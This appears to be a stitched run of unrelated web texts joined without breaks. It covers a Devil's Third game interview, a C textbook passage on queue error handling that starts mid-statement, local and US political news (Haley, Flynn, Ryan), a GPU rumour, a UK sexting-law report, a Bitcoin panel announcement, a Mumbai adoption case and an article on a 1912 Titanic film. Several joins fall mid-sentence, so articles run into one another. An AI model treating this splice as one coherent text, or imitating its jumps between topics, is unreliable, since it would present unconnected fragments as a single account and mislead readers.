The Kessler syndrome basically says that the density of objects in low-Earth orbit could reach a point where collisions between those objects could cause a disastrous cascade of debris. Those collisions could compound, causing more orbital collisions, a scenario that could render space travel and the use of satellites unfeasible.
Some of the game's concept art features what appears to be space debris falling upon the earth and widespread destruction in Asian, European and American locations.
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As for the name Devil's Third, Bilson and Itagaki said it has multiple meanings related to the fiction and the characters, the first of which is rooted in classical music, in the dissonance of tritones, or "Diabolus in Musica." Bilson referenced the works of Richard Wagner, including his opera Götterdämmerung about the downfall of the Norse gods, as well as the music of Black Sabbath, in explaining the concepts behind the game.
"As we expose some of the fiction, it all becomes clear," Bilson says. "[The title Devil's Third] absolutely came out of the game, there's a character in the game that has a relationship to the music, there's three factions…" Then he cut himself off.
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"I don't want to really talk about it," he said, seemingly having given away too much already.
Itagaki explained his thoughts on the musical foundation of Devil's Third.
"Dissonance can make people feel negative feelings," he said. "But you can try to be nice, make everything really accessible and pleasant, or you can go down a road that rattles people a bit. I think the latter is where I can make a more interesting impact on people. More than the musical interpretation of Devil's Third, I'm more interested in the literary associations."
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Bilson says there has been "a tremendous interest" in Devil's Third's fiction as THQ extends its transmedia plans. The publisher has television and movie projects in the works based on its Red Faction and de Blob properties.
In addition to having a mysterious story and characters, Devil's Third is exceedingly violent. In the debut trailer, you'll see enemies sliced in two, others with their limbs torn apart by shotgun blasts. In the uncensored version of the trailer we previewed at THQ's headquarters, bloody decapitations sprayed gore on the screen and a brutal melee attack liquefied another soldier's face into the side of a tank.
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Itagaki's last game as head of Team Ninja, the Xbox 360 game Ninja Gaiden II, was similarly bloody. Based on the more violent version of the trailer, it's clear that Valhalla's vikings aren't toning things down for a wider audience.
Bilson joked that the publisher is "trying to get it down to an M-rating."
Devil's Third represents a shift for the ex-Team Ninja developers in another sense. They're developing the PlayStation 3 and Xbox 360 versions of the game simultaneously. At Itagaki's previous team, it was primarily focused on the Xbox platform. At Valhalla, development is multi-platform.
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Itagaki explains.
"At Tecmo, we sold 8 million games on Xbox platforms," he said. "Because of the financial requirements of that company, every year we had to kick out something that sells a million units. When I was younger, that was OK, but some of the games we shipped we really didn't spend enough time polishing and tightening up. Under those conditions, it's very hard to make a great game that people will enjoy, because it's important to have the polish and testing. In that kind of environment, we couldn't do that."
"We think that the way we make games, we don't fit well working in an environment inside a publicly traded Japanese games company," Itagaki said. "We don't fit into that environment."
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Now, Itagaki says, his trusted team of programmers, animators and artists has enough manpower to focus on multiplatform development. Valhalla Game Studios will be getting a little help from THQ, as well, tapping into the developer/publisher's strengths for Devil's Third.
"We at Valhalla Games are martial arts, fighting and melee combat professionals," Itagaki boasted. "We're partnering with THQ who has substantial experience in shooters.
"Recently, I've changed my thoughts about the general approach to development. The parts of the game that we really have to make, that only [Valhalla] can make, we'll do that. For the parts that other people can do better, we'll get help. Yes, we'll be working with THQ studios, but the multiplayer demo we showed earlier, that was all developed internally. The way programmers think, if they can do it themselves, they'll do it. You have to do everything triple-A or just not bother."
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Bilson pointed out that the tank seen in Devil's Third's first trailer, the one that unlucky soldier has his face crushed against, is an asset from another THQ game, Homefront.
While the arrangement between THQ and Valhalla Game Studios may strike some as odd, given the publisher's North American focus, Bilson and Itagaki appear to be of similar mindsets.
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Bilson addressed early surprise at Valhalla's relationship with THQ, a publisher that doesn't have a history with Japanese action games.
"Fair enough. If we don't identify weakness we can't strengthen it," Bilson said of gamers balking at THQ as the game's publisher. "We are focused on the highest quality. We don't throw stuff against the wall. I feel we're absolutely stronger than when we were when we had 17 studios compared to the 10 we have now.
"You're going to see a lot of innovative stuff from us over the next year," Bilson added, saying that THQ would be investing in a big way in its blockbuster titles, providing Valhalla with the money, time and resources they need to make Devil's Third the best it can be.
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Itagaki also addressed concerns in a message to fans.
"A lot of fans probably wanted me to continue making fighting games. So, sorry about that to anyone who's disappointed," he said. "For people who are fans of Ninja Gaiden, this is going to be a different type of game. Quite different. Even though the genre is new, it's the same core group making it. Think of the main elements—animation, maneuverability, speed, violence, beautiful women—all the core game elements, it's all the same group of guys."
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Tomonobu Itagaki is somewhat infamous for candid, sometimes inflammatory remarks about his competitors. Now that he and the Valhalla Game Studios team are moving into the shooting genre, who does he see as his biggest competitor, his next "target"?
"I haven't decided on that yet," Itagaki said. "If I find a game I play through twice, that'll probably be the target." He told me that he just started playing Call of Duty: Modern Warfare 2, so we'll see how that goes.If someone had told me, one week ago today, that a simple bake sale aiming to educate students about wage disparity in Australia would rile up a university campus to the point of death threats to the organisers, would reach media sources across Australia, the UK and US, and would result in the single most successful bake sale ever to be held on campus, I would have told them not to be silly; no one cares about a bake sale.
I also would have been wrong.
The now infamous Gender Pay Gap Bake Sale was an afterthought, a supplementary event |
: reached end of routine despite no path there"); return(QE_INTINCON); } Here we must distinguish between a return value that is an error code and a return value that comes from the queue. The solution is to check the error buffer qe_errbuf. Before this function is called, the first byte of that array is set to the NUL byte `\0'. If, on return, the error buffer contains a string of length 1 or greater, an error occurred and the returned value is an error code; otherwise, no error occurred. So the calling sequence is: qe_errbuf[0] = `\0'; rv = take_off_queue(qno); if (QE_ISERROR(rv) && qe_errbuf[0]!= `\0')... rv contains error code, qe_errbuf the error message... else... no error; rv is the value removed from the queue... This way, we need not pass a pointer through the parameter list. The disadvantage of this method is the complexity of calling the function; however, that seems a small price to pay to avoid a possible segmentation fault within the library. The standard I/O library function fseek uses a similar technique to distinguish failure from success in some cases. ☞ Avoid changing variables through a parameter list; whenever possible, avoid passing pointers. Exercise 14. Rewrite take_off_queue to use a second parameter, int *n, and return the value removed from the queue through that parameter. (Use the error code BADPARAM, defined as -1, to report an invalid pointer.) The function value is the error code. Compare and contrast this approach with the one used in the above version. When would you use each?
Exercise 15. How does fseek(3S) use errno to distinguish failure from success? The rest of this routine is similar to add_to_queue. We check the parameter, and then validate the queue. We next check for an empty queue, and report an error if the queue is empty: #define QE_EMPTY -4 /* take it off an empty queue */ If it is not empty, it returns the element at the head of the queue. The head index is incremented to move to the next element in the queue, which becomes the element at the head of the queue.A famous "Seinfeld" episode features Cosmo Kramer trying to run a rickshaw service in New York City using homeless men to pull the load.
More likely for success may be the prospects of a Cedar Rapids pedicab service, which would feature two-wheeled or three-wheeled vehicles powered by pedals or motor that would carry passengers in an area defined by the downtown, the Medical District, Coe College, New Bohemia, Czech Village and the Ellis Boulevard area.
Brad Larson, a planner in the citys Community Development Department, said on Tuesday that two residents had asked to operate pedicabs in and near the downtown, and in response, the City Council approved a new ordinance without comment on Tuesday to regulate such a business in the city.
The proposed ordinance will limit pedicabs to the downtown and nearby areas of the city and would require city licenses, proof of insurance, vehicle inspections and background checks.
Larson said one of those interested in operating a pedicab test drove a motorized pedicab around the downtown without passengers last fall. The other potential operator wants to pedal passengers between the downtown and Czech Village, Larson said.
The city of Iowa City has had a pedicab ordinance in place for about a decade, City Clerk Marian Karr reported on Tuesday. Currently, one licensed operator, Matt Steele of I.C. Ecocabs, is providing service in season in Iowa City, Karr said.The U.S. ambassador to the United Nations, Nikki Haley, insisted Sunday that she's taking a tough stance on Russia even as President Trump is mired in controversy over the White House's conduct in the congressional investigation into Russia's role in the 2016 election.
Speaking on ABC's “This Week” and CBS's “Face the Nation,” the former governor of South Carolina, who was confirmed as ambassador in January, was unequivocal about Russia's meddling in last year's U.S. election.
“Well, certainly, I think Russia was involved in the election,” she told ABC's Martha Raddatz. “There's no question about that. And I think when they finish with all of this process, yes, they need to address Russia, they need to act, and they need to make sure they're loud about it.
“We don't want any country involved in our elections ever.”
U.N. envoy Nikki Haley says 'there's no love' in U.S. relationship with Russia on @ThisWeekABC https://t.co/HjcGxm7a6n pic.twitter.com/YAkdLgceLn — This Week (@ThisWeekABC) April 2, 2017
In her confirmation hearing, Haley said she had starkly different views from Trump, especially on Russia. Trump has said he respects Russian President Vladimir Putin and thinks the latter is a better leader than former president Barack Obama. Trump has called questions about apparent Russian tampering in the 2016 race “fake news” and blamed such allegations on Democrats, who he says are still sore over losing the election. Democrats have retorted that Trump and his tweets are an attempt to distract Congress and the nation from the investigation.
Haley said Sunday that she doesn't trust Putin. Last month, she told NBC's Matt Lauer: “We cannot trust Russia. We should never trust Russia.”
WATCH: “We cannot trust Russia. We should never trust Russia.” @nikkihaley on Russian hacks/election meddling https://t.co/9RtXq2HhcI — TODAY (@TODAYshow) March 16, 2017
[O’Reilly told Trump that Putin is a killer. Trump’s reply: ‘You think our country is so innocent?’]
As ambassador, Haley said Sunday, she had no hesitation taking Russia to task on actions with which the United States disagrees — and that she had received no instructions from Trump to pull punches.
“There's certain things, when they do something wrong, I have no problem calling them out on it,” she said.
Taped ABC This Week & Face the Nation to air in the am.Both focused on tweets/DC chatter.No one at UN is talking about any of that#USStrong pic.twitter.com/qqYvmw9Wn9 — Nikki Haley (@nikkihaley) April 1, 2017
“He is not stopping me from beating up on Russia,” she said. “He's not stopping me from talking about the pressure that China needs to be putting on North Korea. He's not stopping me on how we're working together to defeat ISIS,” using an acronym for the Islamic State militant group.
Meanwhile, Trump tweeted Sunday that the media should focus on leaks within his administration.
The real story turns out to be SURVEILLANCE and LEAKING! Find the leakers. — Donald J. Trump (@realDonaldTrump) April 2, 2017
Investigators continue to probe former national security adviser Michael Flynn's interactions with Russia. The White House said Flynn had “broken trust” by not telling the truth about the contacts.
Senate Foreign Relations Committee Chairman Bob Corker (R-Tenn.) told The Washington Post's Sean Sullivan and Karoun Demirjian that “Russia's the elephant in the room.”
Last week, Flynn said he would cooperate with congressional investigators if they grant him immunity from prosecution.
The committees are trying to determine whether Flynn or other Trump associates coordinated with the Russian government to meddle in last year's election.
“General Flynn certainly has a story to tell, and he very much wants to tell it, should the circumstances permit,’’ Flynn’s attorney, Robert Kelner, said in a statement Thursday evening, according to The Washington Post's Adam Entous and Ellen Nakashima.
Trump has said that Flynn's request isn't an indication that he did something wrong, but rather an attempt to avoid the ramifications of a “witch hunt.”
Meanwhile, a House Intelligence Committee investigation into both Russia’s apparent election meddling and Trump’s surveillance claims has become deeply politicized, with the committee’s chairman, Rep. Devin Nunes (R-Calif.), under scrutiny for his handling of the investigation, The Post's Ashley Parker reports.
Although Haley said she didn't trust Russia or Putin, she conceded that the United States needed them to deal with bigger problems.
“We need their pressure when it comes to dealing with ISIS, and we also need their pressure when it comes to dealing with China and North Korea,” she told Raddatz.
At her Senate confirmation hearing, Nikki Haley, Donald Trump's pick for U.N. ambassador says she will take an "outsider's look" at the world body if confirmed. (Reuters)
1 of 83 Full Screen Autoplay Close Skip Ad × A look at President Trump’s first 100 days View Photos The beginning of the president’s term has featured controversial executive orders and frequent conflicts with the media. Caption The beginning of the president’s term has featured controversial executive orders and frequent conflicts with the media. March 17, 2017 President Donald Trump, first lady Melania Trump and their son, Barron, walk to Marine One at the White House en route to Mar-a-Lago in Palm Beach, Fla. Jabin Botsford/The Washington Post Buy Photo Wait 1 second to continue.
Read more:
Stephen Colbert channels Keyser Söze to blast Trump’s Russia ties
A pro-Trump rally ended up with a man getting beaten with a ‘Make America Great Again’ sign
‘You know how Putin feels about failure’: Bill Maher blasts Trump’s health-care flopExplore the amazing tropical environments of six South East Asian islands on your own unique wildlife expedition.
It’s nearly time to set out on your wildlife expedition. Make your final preparations before you leave on your adventure to explore six South East Asian islands and become real life conservationists.
Discover the island habitats of Panay, Papua, Bali, Sumatra, Sumba and Sulawesi and find some of the world’s most magnificent wildlife – including carnivorous plants, prehistoric-looking birds and the impressive Sunda gharial.
You’ll feel like a group of intrepid explorers learning real life conservation skills.
Watch out for tigers as you make your way through the bamboo forest, observe the macaques on Sulawesi and record the many different birds found in the Monsoon Forest. Cross the Dragon Bridge between Papua and Bali, and then take the Lazy River Boat Trip from Sumba.
Explore these pages before you head out on your own adventure and read updates from Katie, a budding wildlife conservationist, who shares her Islands adventure with us.Press secretary Sarah Sanders didn’t hold back on Twitter Saturday, calling out “liberal elites” over tax cuts.
An extra $2,000/year from the tax cut to a middle class family may not mean anything to liberal elites who’d rather the government waste it, but it probably means a lot to that family at Christmas — Sarah Sanders (@PressSec) December 23, 2017
The media and Democrats have been attacking the new tax cuts all week. Mainstream media bias managed to falsely convince many Americans that their taxes were going up when the opposite is true. (RELATED: Media Bias Against GOP Tax Bill Misleads The Public [VIDEO])
CNN’s Jake Tapper recently downplayed the effect of an extra $800-900 dollars in a year, saying, ” I think obviously people who are wealthier individuals might see an additional $1,000 or $2,000 a week in their paycheck, but if you’re getting $800, $900 for the year, it might not be a huge number in your paycheck. It might be 50 bucks.” (RELATED: CNN’s Jake Tapper Downplays ‘$800, $900’ Extra Per Year [VIDEO])
Follow Justin on TwitterPlanetary Annihilation is to receive a physical retail release thanks to a new publishing deal with Nordic Games.
Nordic also assumes non-exclusive partnership duties on the digital version.
"Nordic Games is helping us deliver the next-generation of real-time strategy gaming to our Kickstarter backers and global fan base," CTO at the game's developer Uber Entertainment Jon Mavor stated.
"We can't wait to show the press and fans what we've put together, it's a very exciting time to be a part of Uber Entertainment."
Nordic MD Klemens Kreuzer added: It's a busy time for Nordic Games, especially as we've just finished buying all these black cars. We're all dressing much better and we're bringing a legendary RTS franchise to players around the world with some very special retail SKUs for the hardcore fan."
Planetary Annihilation hasn't yet got a release date. Or as the press release puts it, Planetary Annihilation will be available through retail stores and digitally when it's done”.The warning to agencies comes as President Barack Obama traveled to Asia where several nations, especially China, have expressed concerns about the size of U.S. deficits.
China is the largest foreign holder of U.S. Treasury securities and policymakers worry that alarm over deficits could push foreigners into cutting back on their purchases of Treasury debt.
White House budget director Peter Orszag said Friday that it is imperative to start curbing the flow of red ink in coming years so as not to erode the fledgling economic recovery. But he called it a balancing act and said acting too fast could undercut the recovery.
Orszag wouldn't comment on the specifics of the upcoming Obama budget, which will be unveiled in February.
Democratic officials in the White House and on Capitol Hill say options for locking in budget savings include caps on the amount of money Congress gets to distribute each year for agency operating budgets. The officials spoke on condition of anonymity to frankly discuss internal deliberations.
"As part of that fiscal 2011 budget, we will be putting forward proposals that will put us back on a fiscally sustainable path and that have lower deficits," Orszag said in a recent Associated Press interview. "I'm not going to get into the mix between spending and revenues. Obviously deficit reduction requires some combination of those two."
On Thursday, the government reported that the federal deficit hit a record for October as the new budget year began. The Treasury Department said the deficit for October totaled $176.4 billion, even higher than the $150 billion imbalance that economists expected.
The deficit for the 2009 budget year, which ended on Sept. 30, set an all-time record in dollar terms of $1.42 trillion. That was $958 billion above the 2008 deficit, the previous record holder.VR-Zone reports that upcoming dual-gpu Radeon HD 7990 graphics card might be released in two weeks.
According to VR-Zone, one of the most anticipated card by enthusiasts, which was supposedly shown at AMD Developer Summit 2012, should be available in very limited quantity in July. With a GPUs already sampled, production might start in the second half of July. What it means is that Radeon HD 7990 may arrive later this month. Although the price was not yet revealed, it’s still believed to become a better solution in comparison to NVIDIA’s GeForce GTX 690. That’s because HD 7990 has some advantages over NVIDIA’s product. Radeon HD 7990 will have more memory than its counterpart (6144 MB of GDDR5 memory). Since this is the New Zealand GPU where are taking about (aka dual Tahiti XT), it will be offering a higher floating point computing performance, not to mention, higher memory bandwidth (but that’s because Radeon HD 7900 uses wider 384-bit interface). It is also pretty obvious that HD 7990 will use updated Tahiti XT2 silicon.
The most interesting part is where the source mentions 12GB version. Although it’s highly doubtful, because AMD would have to either use memory chips with higher capacity or just place more of them on the PCB (dual-layer card? don’t think so). Moreover, 12GB of frame buffer is absolutely useless for any game. It could have some impact on Eyefinity 6 configuration though.
AMD Radeon HD 7990 vs NVIDIA GeForce GTX 690
AMD Radeon HD 7990 NVIDIA GeForce GTX 690 GPU: 28nm New Zealand (2x Tahiti XT2) 28nm 2x Kepler GK104 Memory: 6144/12288 MB GDDR5 4096 MB GDDR5 Memory Interface: 768-bit (2x 384-bit) 512-bit (2x 256-bit) Power Draw ~360W 300W Power Connectors: 2x 8-pin 2x 8-pin Stream (CUDA) Processors: 4096 3072 Texture Mapping Units: 256 256 Raster Operating Units: 64 64 Cooling: Triple-Fan, Dual-slot Single-Fan, Dual-Slot Launch Price: TBA $999
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POINT of VIEW and TGT are announcing GeForce GTX 680 BEAST/Backplate Next Post
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Please enable JavaScript to view the comments powered by Disqus.Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE on Tuesday called the concerns of the Black Lives Matter movement "profound" and said communities need to come together to find solutions to the issues people are facing.
"People feel like they're being discriminated against and they're not safe because of the color of their skin, so that's profound, and because people believe that, we have to listen to that," Ryan said Tuesday during a CNN town hall.
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"And we have to hear about it, we have to understand it and then, instead of just talking, let's go try solving it."
The Wisconsin Republican said people should "not harden ourselves in our corners so we stop listening to each other."
"Let's make sure that we can actually hear what people are saying and understand what their problems are. And I also think we need to be respectful of each other's different views."
After five policemen were killed in Dallas last week, Ryan said the community also needs to give law enforcement officers the support they deserve.
"That means you can't blame the shooting on Black Lives Matter and you can't also blame the bad things that a couple cops do on all of the cops," he said.
"So let's make sure that we're not painting people with a broad brush here. Let's focus on paying respect to the people who are in charge of protecting our communities and the let's use two ears, one mouth and listen to the concerns that are out there."Teenagers are being unfairly labelled as sex offenders for sending explicit messages to each other, campaigners have said.
They say criminalising 16- to 18-year-olds for sending explicit pictures to one another shows how disconnected the political establishment is from changes to technology and social values.
A teenager younger than 18 who takes a nude picture of him- or herself using a cameraphone is guilty of the serious offence of creating child pornography. This is the case even if they are over 16, the age of sexual consent.
In one case last year, a schoolgirl was investigated after texting a topless picture of herself to her boyfriend, who later reportedly received a caution, having forwarded the image to friends after they split up. Police at the time warned that young people could find themselves on the sex offender register.
Myles Jackman, a lawyer who specialises in obscenity law, said: “It’s just not clear enough for young people to know that, despite being over the age of 16 and therefore the age of consent, they can’t take erotic selfies and send them until they are 18.
“This disparity between the age of consent – where a person can perform an act – and the age of representation – where a person can record or view that act – seems counterintuitive and dangerously against sex education.”
Jackman is a legal adviser to Backlash, an anti-censorship civil liberties campaign group that is raising the alarm over the discrepancy in the law. The group is extending its remit to give legal advice to young people threatened with prosecution for making sexual images of themselves and sharing them consensually on digital media.
A prosecution, regardless of sentencing outcome, severely harms the future life prospects of young people Backlash spokesman
A spokesman said: “When authorities find these images, teenagers themselves become subject to laws originally aimed at stopping child abuse, even though no abuse has taken place. These prosecutions cause immense mental distress, and disruption to education. A prosecution, regardless of sentencing outcome, severely harms the future life prospects of young people.”
The warning comes amid heightened moral panic around young people’s sexuality that campaigners say is being used to justify increasing internet censorship.
A since-discredited NSPCC survey claimed last month that a tenth of 12- to 13-year-olds had reported the “fear” that they were addicted to pornography.
Despite the subsequent revelation that the survey was produced by a marketing company, its results prompted the culture secretary, Sajid Javid, to declare that the Conservative party would introduce further measures to protect children from harmful material.
Concern over the impact of online porn in 2013 spurred the government to announce a scheme to force internet users to decide whether they wanted their provider to block websites showing adult content.
Most major internet service providers have signed up to the scheme, but a report published last year by Ofcom, the communications watchdog, found that about 60% of customers had chosen to switch them off.
In December, the government introduced widely criticised rules that ban producers of pornography from filming sexual activities such as spanking and bondage.Once a consuming hobby for a coterie of anarcho-libertarians and and others predicting an econo-apocalypse, Bitcoin started crossing over into the mainstream in a big way this year, attracting the interest and dollars of Silicon Valley VC firms.
While the math-based currency is trading at about half its peak U.S. dollar value this year, there are startups betting that this was just a temporary spike and then correction. They’re predicting that Bitcoin is still on a long path toward changing the way transactions and micro-payments are handled online. The currency allows for irreversible and anonymous transactions without the need for a third-party facilitator like a bank.
So at Disrupt this year, we’re bringing together a panel to chart out where math-based currencies might head next. Cameron and Tyler Winklevoss quietly amassed what amounted to be about 1 percent of all bitcoins in circulation earlier this year and are setting up an exchange-traded fund around the service. Outside of running one of the more influential bioinformatics startups in the Valley, Balaji Srinivasan also runs the Stanford Bitcoin Group. Also joining the panel is Naval Ravikant, the long-time investor who went on to create and run AngelList. He is also a big Bitcoin believer.
If you’re stoked to attend, we have tickets here and those interested in sponsorship opportunities can head here.
Students can also come be a part of Disrupt SF. We have limited student tickets available, so be sure to go here to find out how to get yours.
Cameron Winklevoss
Winklevoss Capital Management, LLC
Co-Founder
Cameron Winklevoss is a principal of Winklevoss Capital Management, a private investment firm that partners with a select number of early stage companies to provide not just capital, but a full service approach to driving growth. The company’s portfolio includes Hukkster, an online shopping tool for sale alerts; SumZero, an online community of investment professionals; and Bitcoin, a decentralized cryptocurrency that uses peer-to-peer technology for frictionless payments. Cameron graduated from Harvard University with a degree in Economics and received his MBA from Oxford University. He is also an NCAA rowing champion and member of the 2008 Olympic team.
Tyler Winklevoss
Winklevoss Capital Management, LLC
Co-Founder
Tyler Winklevoss is a principal of Winklevoss Capital Management, a private investment firm that partners with a select number of early stage companies to provide not just capital, but a full service approach to driving growth. The company’s portfolio includes Hukkster, an online shopping tool for sale alerts; SumZero, an online community of investment professionals; and Bitcoin, a decentralized cryptocurrency that uses peer-to-peer technology for frictionless payments. Tyler graduated from Harvard University with a degree in Economics and received his MBA from Oxford University. He is also an NCAA rowing champion and member of the 2008 Olympic team.
Balaji S. Srinivasan
Counsyl
Co-Founder and CTO
Balaji S. Srinivasan is the co-founder of Counsyl, a genomics startup that began in a Stanford dorm room and now tests more than 2.5% of all US births.
Counsyl won the Wall Street Journal’s Innovation Award for Medicine, was named one of Scientific American’s Top 10 World Changing Ideas, raised more than $65M in funding from Peter Thiel’s Founders Fund among others, and has become one of the largest clinical genome centers in the world.
Prior to co-founding Counsyl, Dr. Srinivasan taught data mining, statistics, and computational biology in the Department of Statistics at Stanford University. He holds a BS, MS, and PhD in Electrical Engineering and an MS in Chemical Engineering from Stanford. He was an NDSEG, NSF, and VIGRE fellow and has been published in the New England Journal of Medicine, Nature Biotechnology, and Nature Reviews Genetics.
Naval Ravikant
AngelList
Co-founder of Angellist
Naval Ravikant is the founder of Angellist.
Naval is an entrepreneur and angel investor, a co-author of Venture Hacks, and a co-maintainer of AngelList.
Previously he was a co-founder at Genoa Corp (acquired by Finisar), Epinions.com (IPO via Shopping.com), and Vast.com (largest white-label classifieds marketplace).
Previously, he was a Venture Partner at August Capital and led investments in Scintera, Neopath, Technorati, Microdisplay, DeviceScape, and Mimosa.
Startups Naval has advised in areas ranging from founding to product design to fundraising including iPivot (sold to Intel), Intrinsic Graphics, Andale, XFire (sold to Viacom), HedgeStreet, Engage, Photo.net, LoyaltyLab, Jaman, Hive7, Dulance (sold to Google), Bix (sold to Yahoo!).
Ravikant, both Winklevosses and Srinivasan join a full Disrupt line-up including speakers like: Yahoo CEO Marissa Mayer, Marc Benioff, Ron Conway, TechCrunch founder Michael Arrington, Vinod Khosla and many others yet to be announced.MUMBAI: Indian couples do not adopt kids with special needs, said the Bombay high court on Friday, reacting to the central adoption agency’s objection to a trained American nurse, married to an Indian and settled in the country since 2008, getting custody of such a six-year-old.Currently, the American and her husband are foster care guardians of the boy, an arrangement the high court ordered to be continued. The judges posted the hearing after a week, when it will pass orders and dispose of the petition.A bench of Justices V M Kanade and B P Colabawalla rebuked the Central Adoption Resource Authority ( CARA ), the nodal body for adoption of Indian children, for following rules only in letter and said it would lay down guidelines for a situation where one parent is Indian and the other a foreigner who has been granted the status of person of Indian origin.“Whenever there is a child with special needs, in India, parents do not opt for taking these children,” said Justice Kanade, adding that it has been his experience while dealing with adoption matters and it is borne out by records.Union government advocate D A Nalawade, appearing for CARA, which functions under the ministry of women and child development, said the court may continue “the foster care arrangement” but reiterated the agency’s opposition to the adoption. “She still holds an American passport. Though a PIO, she continues to be an American,’’ he said.“What is important? Do we follow the law in letter or in spirit? Our anxiety is that the child should not go to the remand home,’’ said Justice Kanade on Monday, recalling that in a similar case, the child was sent to the remand home.Observing the child interact with his foster mother in court during the hearing, the judges said “he looks quite comfortable’’ and “very happy”.When Shirin Merchant, the couple’s lawyer, pointed out that CARA’s guidelines is silent on cases where one parent is Indian and the other a PIO, the judges agreed an “important question” has been raised which includes welfare of a child who, if not given in adoption in this year, will have to be sent to the remand home. “We’ll decide in such cases what is to be done. We’ll lay down the law,’’ said Justice Kanade. The orphanage has a licence to keep abandoned and destitute children till they are six. They must be sent to remand/observation homes as they grow older.At the last hearing on June 26, Nalawade had argued that there are 8,693 Indian couples waiting in queue to adopt children and the American cannot expect to jump it. “We have to follow rules,” he said, adding that otherwise it will jeopardize the entire process.Justice Kanade’s statement that Indian couples do not adopt children with special needs was supported by Radhika Dalvi, founder of the orphanage Arun Aashray where the boy was lodged and where the American while volunteering grew close to him. The child has faced rejection thrice and suffers from behavioural problems, she said. He also suffers from asthma and needs special care. “How many more rejections will he face?’’ she asked.The boy was abandoned by his unwed mother as she re-married and her new husband was unwilling to accept him.Nalawade argued the American, as a trained nurse with an adoption agency, now claims she has developed a bond with the boy. “There are similar cases. There are at least 20 cases,’’ he said.The judges said sometimes CARA officials go straight by the book. “We are aware of certain institutions that have violated the law. We have passed orders for closure of such institutions,’’ said Justice Kanade.The judges set the next date a week later after hearing that due to a delay in adoption procedures following CARA’s insistence on its no-objection certificate, the child’s birth certificate cannot be produced and so his school admission cannot be regularized.Former national security adviser Michael Flynn has been subpoenaed by the Senate intelligence committee for documents related to Russia's meddling in the 2016 U.S. election. Pool Photo by Anthony Behar/UPI | License Photo
May 24 (UPI) -- The U.S. Senate Select Committee on Intelligence has issued two new subpoenas targeting businesses operated by President Donald Trump's former national security adviser Michael Flynn.
Committee Chairman Sen. Richard Burr, R-N.C., and Vice Chairman Sen. Mark Warner, D-Va., told reporters on Tuesday that committee members sent the subpoenas to Flynn Intel LLC and Flynn Intel, Inc. with a specific list of documents they seek, though the senators did not disclose to what those documents related.
Flynn recently invoked his Fifth Amendment right to deny Senate subpoena requests related to its investigation into Russia's meddling in the 2016 U.S. presidential election.
"While we disagree with Gen. Flynn's lawyer's interpretation of taking the Fifth, it is even more clear that a business does not have a right to take the Fifth if it's a corporation," Warner said on Tuesday.
RELATED Trump retains private lawyer Marc Kasowitz in Russia probe
Burr said "everything is on the table" if Flynn does not respond to the subpoena.
"If in fact there's not a response, we'll seek additional counsel advice on how to proceed forward," Burr said. "At the end of that option is a contempt charge, and I've said that everything is on the table."
The subpoena delivery follows recent activity concerning the investigation into Russia.
RELATED DOJ ethics experts clear Mueller as special counsel
On Monday, Rep. Elijah Cummings, D-Md., said documents already in the House Oversight Committee's possession appear to indicate that Flynn may have lied to investigators last year when they were conducting a background check for his top-level security clearance.
On May 9, Trump fired FBI Director James Comey, who was leading the federal investigation into Russia's meddling and connections with Trump's associates. Some high-ranking Democrats accused Trump of engaging in a coverup.
Trump said he fired Comey following "clear" advice from Attorney General Sessions and Deputy Attorney General Rod Rosenstein, who, among other reasons, cited Comey's handling of the investigation into Hillary Clinton's emails as the reason he should be dismissed.
Federal prosecutors also on May 9 issued subpoenas to associates of Flynn as part of the FBI's investigation.
Flynn was Trump's first appointment as national security adviser. He was forced to resign after 24 days when information surfaced that he misled Vice President Mike Pence about his meetings with the Russian ambassador to the United States.
Flynn also previously served as the head of the Defense Intelligence Agency until he was forced out in 2014 due to internal disagreements.
Flynn's involvement with Russia also extended to financial issues. On March 31, Flynn filed revised financial disclosure forms that included payments from three Russian companies with ties to the Kremlin prior to joining Trump's campaign.
Flynn was paid $45,000 as a guest speaker by RT, the Russian state-sponsored news outlet regarded by the U.S. government as a propaganda instrument. He was also paid $22,500 by two companies with close ties to the Kremlin for speeches. The speeches occurred in December 2015, shortly before he formally became a foreign policy adviser to Trump.Saved from the Titanic is a 1912 American silent motion picture short starring Dorothy Gibson, an American film actress who survived the sinking of the RMS Titanic on April 15, 1912. Premiering in the United States just 29 days after the event, it is the earliest dramatization about the tragedy.[1]
Gibson had been one of 28 people aboard the first lifeboat to be launched from Titanic and was rescued about five and a half hours after leaving the ship. On returning to New York City, she co-wrote the script and played a fictionalized version of herself. The plot involves her recounting the story of the disaster to her fictional parents and fiancé, with the footage interspersed with stock footage of icebergs, Titanic's sister ship Olympic and the ship's captain, Edward Smith. To add to the film's authenticity, Gibson wore the same clothes as on the night of the disaster. The filming took place in a Fort Lee, New Jersey studio and aboard a derelict ship in New York Harbor.
The film was released internationally and attracted large audiences and positive reviews, though some criticized it for commercializing the tragedy so soon after the event. It is now regarded as a lost film,[1] as the last known prints were destroyed in the Éclair studio fire in March 1914. Only a few printed stills and promotional photos are known to survive. It is Gibson's penultimate film, as she reportedly suffered a mental breakdown after completing it.[2]
Gibson's voyage on the Titanic [ edit ]
The 22-year-old Gibson was a passenger aboard Titanic's maiden voyage, joining the ship at Cherbourg in France on the evening of April 10. She had been on vacation in Europe with her mother when her employers, the Eclair Film Company, recalled her to New York City to participate in a new production. On the evening of the sinking, she was playing bridge (this would have been bridge whist, a predecessor to today's game) in a first-class saloon before retiring to the cabin that she shared with her mother. The game was later credited with saving the lives of the players who had stayed up late to finish it, despite it being (as one American writer put it) "a violation of the strict Sabbath rules of English vessels." The collision with the iceberg at 11:40 pm sounded to Gibson like a "long, drawn, sickening scrunch". After going to investigate, she fetched her mother when she saw Titanic's deck beginning to lift as water flooded into the ship's boiler rooms.
Two of the bridge players, Frederic Seward and William Sloper, accompanied Gibson and her mother to the lifeboats. The group boarded lifeboat no. 7, the first to be launched. Around 27 other people were on board the boat when it was lowered at 12:40 am, just over an hour after the collision. The lifeboat's plug could not be found, causing water to gush in until, as Gibson later put it, "this was remedied by volunteer contributions from the lingerie of the women and the garments of men." Around 1,500 people were still aboard Titanic when she sank, throwing them into freezing water where they soon died of hypothermia. As they struggled in the water, Gibson heard what she described as a "terrible cry that rang out from people who were thrown into the sea and others who were afraid for their loved ones." The sinking deeply affected her; according to Sloper, she became "quite hysterical and kept repeating over and over so that people near us could hear her, 'I'll never ride in my little grey car again.'" The occupants of the lifeboat were finally rescued at 6:15 am by the RMS Carpathia and taken to New York.
Production [ edit ]
